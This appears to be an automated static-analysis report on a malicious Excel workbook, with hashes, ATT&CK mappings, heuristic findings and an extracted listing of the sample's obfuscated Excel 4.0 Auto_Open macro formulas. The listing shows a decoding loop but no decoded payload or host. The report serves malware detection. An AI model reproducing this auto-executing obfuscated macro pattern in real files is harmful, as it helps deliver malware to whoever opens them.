Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 448d8ae0d5b22343…

MALICIOUS

Office (OLE)

36.5 KB Created: 2020-11-27 11:47:44 Authoring application: Microsoft Excel First seen: 2021-08-20
MD5: 59983c1bb5c6034ee3c2928c210d5bcc SHA-1: 70bf3b47336b119ac9c8c035a143b8197bfe84d8 SHA-256: 448d8ae0d5b223434dd1dffe64828fe478c51a638dc2989b5bfb75d127e8c0c2
140 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

The file contains Excel 4.0 macros, specifically an Auto_Open function, which is a known method for executing malicious code upon opening the workbook. The critical heuristic firings indicate the presence of dangerous formula APIs within the Auto_Open macro, suggesting an attempt to exploit the application or download a secondary payload. No specific family could be identified from the available evidence.

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6676 bytes
SHA-256: ca078ae92cbd2da86a6539a8594ab276acf5ae5f1727c186000dfb825fbf0cb5
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     13 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  nbHl
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!F141 
' 0018     21 LABEL : Cell Value, String Constant - DjMtop len=0 
' 0018     27 LABEL : Cell Value, String Constant - DsWyewhUZCCc len=0 
' 0018     27 LABEL : Cell Value, String Constant - EqkBoWatOHqS len=0 
' 0018     21 LABEL : Cell Value, String Constant - GbisSm len=0 
' 0018     24 LABEL : Cell Value, String Constant - jKMPrPMSp len=0 
' 0018     26 LABEL : Cell Value, String Constant - jpOHmMnYZsT len=0 
' 0018     23 LABEL : Cell Value, String Constant - MzDdiGnT len=0 
' 0018     26 LABEL : Cell Value, String Constant - qdVfMbQnpUT len=0 
' 0018     21 LABEL : Cell Value, String Constant - RReBcl len=0 
' 0018     20 LABEL : Cell Value, String Constant - sylJV len=0 
' 0018     22 LABEL : Cell Value, String Constant - tEgJIFn len=0 
' 0018     21 LABEL : Cell Value, String Constant - TJIBAU len=0 
' 0018     24 LABEL : Cell Value, String Constant - TugdLCscy len=0 
' 0018     23 LABEL : Cell Value, String Constant - tXQhSbmV len=0 
' 0018     24 LABEL : Cell Value, String Constant - uweCtThMO len=0 
' 0018     22 LABEL : Cell Value, String Constant - WLPzlyx len=0 
' 0018     24 LABEL : Cell Value, String Constant - WQRvmmXYl len=0 
' 0018     20 LABEL : Cell Value, String Constant - wvUcu len=0 
' 0018     24 LABEL : Cell Value, String Constant - xscyzMyTG len=0 
' 0018     24 LABEL : Cell Value, String Constant - yRXuawqVn len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  nbHl,F50,"SET.NAME("TugdLCscy",0+VALUE("0"))",""
'  nbHl,F52,"SET.NAME("jKMPrPMSp",TugdLCscy)",""
'  nbHl,S55,"",179.00000000000000000000
'  nbHl,S56,"",861.00000000000000000000
'  nbHl,F57,"SET.NAME("tEgJIFn",TugdLCscy)",""
'  nbHl,S57,"",99.00000000000000000000
'  nbHl,S58,"",-383.00000000000000000000
'  nbHl,S59,"",712.00000000000000000000
'  nbHl,S60,"",-900.00000000000000000000
'  nbHl,F62,"SET.NAME("GbisSm",COUNTA(WQRvmmXYl))",""
'  nbHl,F67,"SET.NAME("RReBcl",COUNTA(wvUcu))",""
'  nbHl,F72,[],""
'  nbHl,F76,"SET.NAME("WLPzlyx","")",""
'  nbHl,F79,"jKMPrPMSp",""
'  nbHl,F81,"SET.NAME("jpOHmMnYZsT",HLOOKUP("*",WQRvmmXYl,jKMPrPMSp,FALSE))",""
'  nbHl,F83,"EqkBoWatOHqS",""
'  nbHl,F88,"SET.NAME("uweCtThMO",TugdLCscy)",""
'  nbHl,F92,[],""
'  nbHl,F94,"uweCtThMO",""
'  nbHl,F97,"TJIBAU",""
'  nbHl,F99,"DsWyewhUZCCc",""
'  nbHl,F103,"MzDdiGnT",""
'  nbHl,F108,"SET.NAME("qdVfMbQnpUT",VALUE(HLOOKUP("*",wvUcu,MzDdiGnT,FALSE)))",""
'  nbHl,F112,"DjMtop",""
'  nbHl,F116,"WLPzlyx",""
'  nbHl,F121,"tEgJIFn",""
'  nbHl,F123,NEXT(),""
'  nbHl,F127,"xscyzMyTG",""
'  nbHl,F130,[],""
'  nbHl,F132,"sylJV",""
'  nbHl,F136,NEXT(),""
'  nbHl,F138,RETURN(),""
'  nbHl,F167,"SET.NAME("tXQhSbmV",F50)",""
'  nbHl,F171,"WQRvmmXYl",""
'  nbHl,F173,"SET.NAME("wvUcu",R86C11)",""
'  nbHl,F176,"SET.NAME("sylJV",185)",""
'  nbHl,F181,"SET.NAME("yRXuawqVn",6)",""
'  nbHl,F184,tXQhSbmV(),""
'  nbHl,F185,HALT(),""

Open this report in the interactive analyzer, or submit your own file for analysis.